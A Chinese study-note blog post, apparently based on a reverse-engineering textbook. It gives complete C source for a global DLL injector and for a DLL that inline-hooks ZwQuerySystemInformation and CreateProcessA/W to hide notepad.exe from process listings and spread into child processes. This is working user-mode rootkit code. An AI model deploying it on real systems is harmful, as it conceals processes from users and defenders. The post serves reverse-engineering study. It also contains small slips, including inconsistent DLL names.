通过注入DLL修改API代码实现钩取(一)

时间:2021-07-14 12:56:20

通过注入DLL修改API代码实现钩取(一)

Ox00 大致思路

  1. 通过CreateRemoteThread函数开辟新线程,并将DLL注入进去
  2. 通过GetProcessAddress函数找到需钩取的API地址。
  3. 修改制定的API的前五个字节,让其跳往我们自己设计的函数
  4. 函数执行完功能后返回

本实验目标:注入指定dll后隐藏我们的目标进程。

下面两图表示了API钩取之前与API被钩取之后程序的执行过程:

通过注入DLL修改API代码实现钩取(一)

通过注入DLL修改API代码实现钩取(一)

其实明白之后发现原理并不是很难,无非就是先获取到API函数的地址,然后再把原先API的首地址改为JMP 指令跳往指定函数,当然,如果指定函数不调用原API,就无需先脱钩,如果新的函数需调用原先的API则先脱钩再调用,执行完再次钩取。

Ox01  确定要钩取的API

我们的目的实现进程的隐藏,所以就要关注那些能够实现进程查询的API 。

一般来说有两个常用的API:

1)CreateToolSnapShot()API

HANDLE CreateToolhelp32Snapshot(

DWORD dwFlags,

DWORD th32ProcessID

);

2)ZwQuerySystemInformation()API

NTSTATUS WINAPI ZwQuerySystemInformation(

_In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,

_Inout_   PVOID                    SystemInformation,

_In_      ULONG                    SystemInformationLength,

_Out_opt_ PULONG                   ReturnLength

);

查阅了资料知道ZwQuerySystemInformation()函数是更为底层的函数,而CreateToolhelp32Snapshot()也是调用这个函数实现进程信息查询的。通过ZwQuerySystemInformation可以获取正在运行的所有进程的信息,并放在一个结构体的链表中。

确定了要钩取的API我们还有考虑几个问题:

1)需要钩取几个进程

答:所有正在调用ZwQuerySystemInformation的进程。

2)新建的进程也调用了ZwQuerySystemInformation该怎么办?

答:我们也需要在钩取创建进程的API。所以我们还要钩取创建CreateProcessA()API以及CreateProcessW()API。

0x02 注入dll的代码实现

#include "windows.h"

#include "stdio.h"

#include "tlhelp32.h"

#include "tchar.h"

enum {INJECTION_MODE = 0, EJECTION_MODE};

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)

{

TOKEN_PRIVILEGES tp;

HANDLE hToken;

LUID luid;

if( !OpenProcessToken(GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,

&hToken) )

{

printf("OpenProcessToken error: %u\n", GetLastError());

return FALSE;

}

if( !LookupPrivilegeValue(NULL,            // lookup privilege on local system

lpszPrivilege,   // privilege to lookup

&luid) )         // receives LUID of privilege

{

printf("LookupPrivilegeValue error: %u\n", GetLastError() );

return FALSE;

}

tp.PrivilegeCount = 1;

tp.Privileges[0].Luid = luid;

if( bEnablePrivilege )

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

else

tp.Privileges[0].Attributes = 0;

// Enable the privilege or disable all privileges.

if( !AdjustTokenPrivileges(hToken,

FALSE,

&tp,

sizeof(TOKEN_PRIVILEGES),

(PTOKEN_PRIVILEGES) NULL,

(PDWORD) NULL) )

{

printf("AdjustTokenPrivileges error: %u\n", GetLastError() );

return FALSE;

}

if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )

{

printf("The token does not have the specified privilege. \n");

return FALSE;

}

return TRUE;

}

BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)

{

HANDLE                  hProcess, hThread;

LPVOID                  pRemoteBuf;

DWORD                   dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);

LPTHREAD_START_ROUTINE  pThreadProc;

if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )

{

printf("OpenProcess(%d) failed!!!\n", dwPID);

return FALSE;

}

pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,

MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, pRemoteBuf,

(LPVOID)szDllPath, dwBufSize, NULL);

pThreadProc = (LPTHREAD_START_ROUTINE)

GetProcAddress(GetModuleHandle(L"kernel32.dll"),

"LoadLibraryW");

hThread = CreateRemoteThread(hProcess, NULL, 0,

pThreadProc, pRemoteBuf, 0, NULL);

WaitForSingleObject(hThread, INFINITE);

VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

CloseHandle(hThread);

CloseHandle(hProcess);

return TRUE;

}

BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)

{

BOOL                    bMore = FALSE, bFound = FALSE;

HANDLE                  hSnapshot, hProcess, hThread;

MODULEENTRY32           me = { sizeof(me) };

LPTHREAD_START_ROUTINE  pThreadProc;

if( INVALID_HANDLE_VALUE ==

(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )

return FALSE;

bMore = Module32First(hSnapshot, &me);

for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )

{

if( !_tcsicmp(me.szModule, szDllPath) ||

!_tcsicmp(me.szExePath, szDllPath) )

{

bFound = TRUE;

break;

}

}

if( !bFound )

{

CloseHandle(hSnapshot);

return FALSE;

}

if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )

{

printf("OpenProcess(%d) failed!!!\n", dwPID);

CloseHandle(hSnapshot);

return FALSE;

}

pThreadProc = (LPTHREAD_START_ROUTINE)

GetProcAddress(GetModuleHandle(L"kernel32.dll"),

"FreeLibrary");

hThread = CreateRemoteThread(hProcess, NULL, 0,

pThreadProc, me.modBaseAddr, 0, NULL);

WaitForSingleObject(hThread, INFINITE);

CloseHandle(hThread);

CloseHandle(hProcess);

CloseHandle(hSnapshot);

return TRUE;

}

BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)

{

DWORD                   dwPID = 0;

HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;

PROCESSENTRY32          pe;

// Get the snapshot of the system

pe.dwSize = sizeof( PROCESSENTRY32 );

hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );

// find process

Process32First(hSnapShot, &pe);

do

{

dwPID = pe.th32ProcessID;

// PID小于100的不注入

//起的注入指定的DLL

if( dwPID < 100 )

continue;

if( nMode == INJECTION_MODE )

InjectDll(dwPID, szDllPath);

else

EjectDll(dwPID, szDllPath);

} while( Process32Next(hSnapShot, &pe) );

CloseHandle(hSnapShot);

return TRUE;

}

int _tmain(int argc, TCHAR* argv[])

{

int nMode = INJECTION_MODE;

if( argc != 3 )

{

printf("\n Usage  : HideProc2.exe <-hide|-show> <dll path>\n\n");

return 1;

}

// change privilege

SetPrivilege(SE_DEBUG_NAME, TRUE);

// Inject(Eject) Dll to all process

if( !_tcsicmp(argv[1], L"-show") )

nMode = EJECTION_MODE;

//第三个参数argv[2]为要注入的DLL名称

InjectAllProcess(nMode, argv[2]);

return 0;

}

这个和以前的注入代码没啥区别。仔细看应该就能看懂。

编译生成HideProc2.exe文件。

0x03 隐藏进程的dll的实现

代码如下:

#include "windows.h"

#include "stdio.h"

#include "tchar.h"

#define STR_MODULE_NAME (L"stealth2.dll")

#define STR_HIDE_PROCESS_NAME (L"notepad.exe")

#define STATUS_SUCCESS (0x00000000L)

typedef LONG NTSTATUS;

//系统信息结构体

typedef enum _SYSTEM_INFORMATION_CLASS {

SystemBasicInformation = 0,

SystemPerformanceInformation = 2,

SystemTimeOfDayInformation = 3,

SystemProcessInformation = 5,

SystemProcessorPerformanceInformation = 8,

SystemInterruptInformation = 23,

SystemExceptionInformation = 33,

SystemRegistryQuotaInformation = 37,

SystemLookasideInformation = 45

} SYSTEM_INFORMATION_CLASS;

//进程信息结构体

typedef struct _SYSTEM_PROCESS_INFORMATION {

ULONG NextEntryOffset;

BYTE Reserved1[52];

PVOID Reserved2[3];

HANDLE UniqueProcessId;

PVOID Reserved3;

ULONG HandleCount;

BYTE Reserved4[4];

PVOID Reserved5[11];

SIZE_T PeakPagefileUsage;

SIZE_T PrivatePageCount;

LARGE_INTEGER Reserved6[6];

} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

//PFZWQUERYSYSTEMINFORMATION是一个函数指针

/*

一个指向参数为

SYSTEM_INFORMATION_CLASS SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength

的返回值类型为NTSTATUS的函数,这个函数其实就是ZwQuerySystemInformation()API函数,NTSTATUS是一个长整型数。

*/

typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)(

SYSTEM_INFORMATION_CLASS SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength);

/*

PFCREATEPROCESSA是一个函数指针

这个指针指向参数为:

LPCTSTR lpApplicationName,

LPTSTR lpCommandLine,

LPSECURITY_ATTRIBUTES lpProcessAttributes,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

BOOL bInheritHandles,

DWORD dwCreationFlags,

LPVOID lpEnvironment,

LPCTSTR lpCurrentDirectory,

LPSTARTUPINFO lpStartupInfo,

LPPROCESS_INFORMATION lpProcessInformation

的返回值类型为BOOL的函数,这个函数其实就是CreateProcessA()API函数

*/

typedef BOOL (WINAPI *PFCREATEPROCESSA)(

LPCTSTR lpApplicationName,

LPTSTR lpCommandLine,

LPSECURITY_ATTRIBUTES lpProcessAttributes,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

BOOL bInheritHandles,

DWORD dwCreationFlags,

LPVOID lpEnvironment,

LPCTSTR lpCurrentDirectory,

LPSTARTUPINFO lpStartupInfo,

LPPROCESS_INFORMATION lpProcessInformation

);

/*

PFCREATEPROCESSW是一个函数指针

这个指针指向参数为:

LPCTSTR lpApplicationName,

LPTSTR lpCommandLine,

LPSECURITY_ATTRIBUTES lpProcessAttributes,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

BOOL bInheritHandles,

DWORD dwCreationFlags,

LPVOID lpEnvironment,

LPCTSTR lpCurrentDirectory,

LPSTARTUPINFO lpStartupInfo,

LPPROCESS_INFORMATION lpProcessInformation

的返回值类型为BOOL的函数,这个函数其实就是CreateProcessW()API函数

*/

typedef BOOL (WINAPI *PFCREATEPROCESSW)(

LPCTSTR lpApplicationName,

LPTSTR lpCommandLine,

LPSECURITY_ATTRIBUTES lpProcessAttributes,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

BOOL bInheritHandles,

DWORD dwCreationFlags,

LPVOID lpEnvironment,

LPCTSTR lpCurrentDirectory,

LPSTARTUPINFO lpStartupInfo,

LPPROCESS_INFORMATION lpProcessInformation

);

BYTE g_pOrgCPA[5] = {0,};

BYTE g_pOrgCPW[5] = {0,};

BYTE g_pOrgZwQSI[5] = {0,};

//替换原API函数首地址的前五个字节为NewCreateProcessA和NewCreateProcessW

BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)

{

FARPROC pFunc;

DWORD dwOldProtect, dwAddress;

BYTE pBuf[5] = {0xE9, 0, };

PBYTE pByte;

pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);

pByte = (PBYTE)pFunc;

if( pByte[0] == 0xE9 )

return FALSE;

VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

memcpy(pOrgBytes, pFunc, 5);

dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;

memcpy(&pBuf[1], &dwAddress, 4);

memcpy(pFunc, pBuf, 5);

VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

return TRUE;

}

//将被替换的API函数前五个字节换回去

BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)

{

FARPROC pFunc;

DWORD dwOldProtect;

PBYTE pByte;

pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);

pByte = (PBYTE)pFunc;

if( pByte[0] != 0xE9 )

return FALSE;

VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

memcpy(pFunc, pOrgBytes, 5);

VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

Return TRUE;

}

//提权函数

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)

{

TOKEN_PRIVILEGES tp;

HANDLE hToken;

LUID luid;

if( !OpenProcessToken(GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,

&hToken) )

{

printf("OpenProcessToken error: %u\n", GetLastError());

return FALSE;

}

if( !LookupPrivilegeValue(NULL,             // lookup privilege on local system

lpszPrivilege,    // privilege to lookup

&luid) )          // receives LUID of privilege

{

printf("LookupPrivilegeValue error: %u\n", GetLastError() );

return FALSE;

}

tp.PrivilegeCount = 1;

tp.Privileges[0].Luid = luid;

if( bEnablePrivilege )

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

else

tp.Privileges[0].Attributes = 0;

// Enable the privilege or disable all privileges.

if( !AdjustTokenPrivileges(hToken,

FALSE,

&tp,

sizeof(TOKEN_PRIVILEGES),

(PTOKEN_PRIVILEGES) NULL,

(PDWORD) NULL) )

{

printf("AdjustTokenPrivileges error: %u\n", GetLastError() );

return FALSE;

}

if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )

{

printf("The token does not have the specified privilege. \n");

return FALSE;

}

return TRUE;

}

//注入函数,使用这个函数向新建的子进程注入stealth2.dll

BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName)

{

HANDLE hThread;

LPVOID pRemoteBuf;

DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);

FARPROC pThreadProc;

pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,

MEM_COMMIT, PAGE_READWRITE);

if( pRemoteBuf == NULL )

return FALSE;

WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName,

dwBufSize, NULL);

pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"),

"LoadLibraryW");

hThread = CreateRemoteThread(hProcess, NULL, 0,

(LPTHREAD_START_ROUTINE)pThreadProc,

pRemoteBuf, 0, NULL);

WaitForSingleObject(hThread, INFINITE);

VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

CloseHandle(hThread);

return TRUE;

}

//创建新的ZwQuerySystemInformation函数

NTSTATUS WINAPI NewZwQuerySystemInformation(

SYSTEM_INFORMATION_CLASS SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength)

{

NTSTATUS status;

FARPROC pFunc;

PSYSTEM_PROCESS_INFORMATION pCur, pPrev;

char szProcName[MAX_PATH] = {0,};

//调用原始API前先脱钩

unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);

//获取模块ntdll的函数ZwQuerySystemInformation的地址

pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"),

"ZwQuerySystemInformation");

//通过指针调用ZwQuerySystemInformation返回进程信息链表的首地址到SystemInformation。

status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)

(SystemInformationClass, SystemInformation,

SystemInformationLength, ReturnLength);

//获取失败则退出

if( status != STATUS_SUCCESS )

goto __NTQUERYSYSTEMINFORMATION_END;

//当调用获取到的是进程信息时(SystemInformationClass这个参数可以是进程信息类,也可以是其他,具体的取MSDN上查询)

if( SystemInformationClass == SystemProcessInformation )

{

pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while(TRUE)

{

if(pCur->Reserved2[1] != NULL)

{

//找到notePad.exe后操作链表将其删除,这样就达到了隐藏的目的

if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))

{

if(pCur->NextEntryOffset == 0)

pPrev->NextEntryOffset = 0;

else

pPrev->NextEntryOffset += pCur->NextEntryOffset;

}

else

pPrev = pCur;

}

if(pCur->NextEntryOffset == 0)

break;

//让指针指向下一项

pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);

}

}

__NTQUERYSYSTEMINFORMATION_END:

//退出之前先钩取,为下次循环做准备

hook_by_code("ntdll.dll", "ZwQuerySystemInformation",

(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);

return status;

}

//新建的CreateProcessA函数

BOOL WINAPI NewCreateProcessA(

LPCTSTR lpApplicationName,

LPTSTR lpCommandLine,

LPSECURITY_ATTRIBUTES lpProcessAttributes,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

BOOL bInheritHandles,

DWORD dwCreationFlags,

LPVOID lpEnvironment,

LPCTSTR lpCurrentDirectory,

LPSTARTUPINFO lpStartupInfo,

LPPROCESS_INFORMATION lpProcessInformation

)

{

BOOL bRet;

//FARPROC是一个指向far过程的指针JMP跳转至指定far过程用得着

FARPROC pFunc;

// 调用原始API之前先脱钩unhook

unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA);

// 调用原始的API

pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");

bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,

lpCommandLine,

lpProcessAttributes,

lpThreadAttributes,

bInheritHandles,

dwCreationFlags,

lpEnvironment,

lpCurrentDirectory,

lpStartupInfo,

lpProcessInformation);

// 向生成的子进程注入stealth32.dll

if( bRet )

InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);

// 功能完成之后再次钩取APIhook,为下次循环做准备

hook_by_code("kernel32.dll", "CreateProcessA",

(PROC)NewCreateProcessA, g_pOrgCPA);

return bRet;

}

//新建的NewCreateProcessW函数

BOOL WINAPI NewCreateProcessW(

LPCTSTR lpApplicationName,

LPTSTR lpCommandLine,

LPSECURITY_ATTRIBUTES lpProcessAttributes,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

BOOL bInheritHandles,

DWORD dwCreationFlags,

LPVOID lpEnvironment,

LPCTSTR lpCurrentDirectory,

LPSTARTUPINFO lpStartupInfo,

LPPROCESS_INFORMATION lpProcessInformation

)

{

BOOL bRet;

FARPROC pFunc;

//// 调用原始API之前先脱钩unhook

unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW);

//调用原来的API

pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");

bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName,

lpCommandLine,

lpProcessAttributes,

lpThreadAttributes,

bInheritHandles,

dwCreationFlags,

lpEnvironment,

lpCurrentDirectory,

lpStartupInfo,

lpProcessInformation);

// 向新生成的子进程注入stealth2.dll

if( bRet )

InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);

// 再次钩取API,为下次循环做准备

hook_by_code("kernel32.dll", "CreateProcessW",

(PROC)NewCreateProcessW, g_pOrgCPW);

return bRet;

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

{

char            szCurProc[MAX_PATH] = {0,};

char            *p = NULL;

// 异常处理是注入不会发生在HideProc2.exe进程

GetModuleFileNameA(NULL, szCurProc, MAX_PATH);

p = strrchr(szCurProc, '\\');

if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )

return TRUE;

// 提权

SetPrivilege(SE_DEBUG_NAME, TRUE);

switch( fdwReason )

{

case DLL_PROCESS_ATTACH :

// DLL载入后钩取三个API

hook_by_code("kernel32.dll", "CreateProcessA",

(PROC)NewCreateProcessA, g_pOrgCPA);

hook_by_code("kernel32.dll", "CreateProcessW",

(PROC)NewCreateProcessW, g_pOrgCPW);

hook_by_code("ntdll.dll", "ZwQuerySystemInformation",

(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);

break;

case DLL_PROCESS_DETACH :

// DLL卸载后对三个API脱钩

unhook_by_code("kernel32.dll", "CreateProcessA",

g_pOrgCPA);

unhook_by_code("kernel32.dll", "CreateProcessW",

g_pOrgCPW);

unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",

g_pOrgZwQSI);

break;

}

return TRUE;

}

上诉代码我已经写出了详细注释,相信熟悉注入的同志都能看懂。

编译生成stealth2.dll文件。

0x04 验证

打开notepad.exe,打开processexploer查看pid,如下图:

通过注入DLL修改API代码实现钩取(一)

管理员权限打开cmd,将stealth2.dll放入system目录下,以便windows能够找到,将HideProc2.exe放入D盘,在cmd窗口输入HideProc2.exe -hide stealth2.dll,

通过注入DLL修改API代码实现钩取(一)

我们看到processexploer已经看不到notepad了,而且瞬间看到cpu飙升,因为此时每个调用ZwQuerySystemInformation函数,以及调用CreateProcessA和CreateProcessW的进程都载入了stealth3.dll。我们可以输入HideProc2.exe -show stealth2.dll 实现卸载。

0x04 问题汇总

  1. 被注入的DLL一定要有输出函数吗?怎么看到有些注入用了,有些没用?

答:不是必须的,如果注入程序需要向被注入的DLL传参就需要。

2.LoadLibrary和GetMoudileHandle怎么总感觉相似?

答:LoadLibrary是用来把某个模块载入进程的地址空间的,而GetModuleHandle则是用来获取的已经加载的模块的。

3.我注入时只是输入的DLL的名称,程序是怎么找到这个DLL的?

答:其实这个不需要担心,因为这个是windows自动完成的,它搜寻指定的DLL的顺序是

1)当前进程的可执行模块所在的目录。

2)当前目录。

3)Windows 系统目录。 GetSystemDirectory 函数检索此目录的路径。

4)Windows 目录。 GetWindowsDirectory 函数检索此目录的路径。

5)PATH 环境变量中列出的目录。

4.strrchr函数是干嘛的?

答:strrchr这个函数有意思,感觉专门是为查找路径中exe或者某个文件名所准备的,比如strrchr(szCurProc, '\\');,返回的是最后一次出现\\的位置,即exe名或者文件名。

以上是我在看《逆向工程核心原理》关于注入时遇到的一些疑问与解答。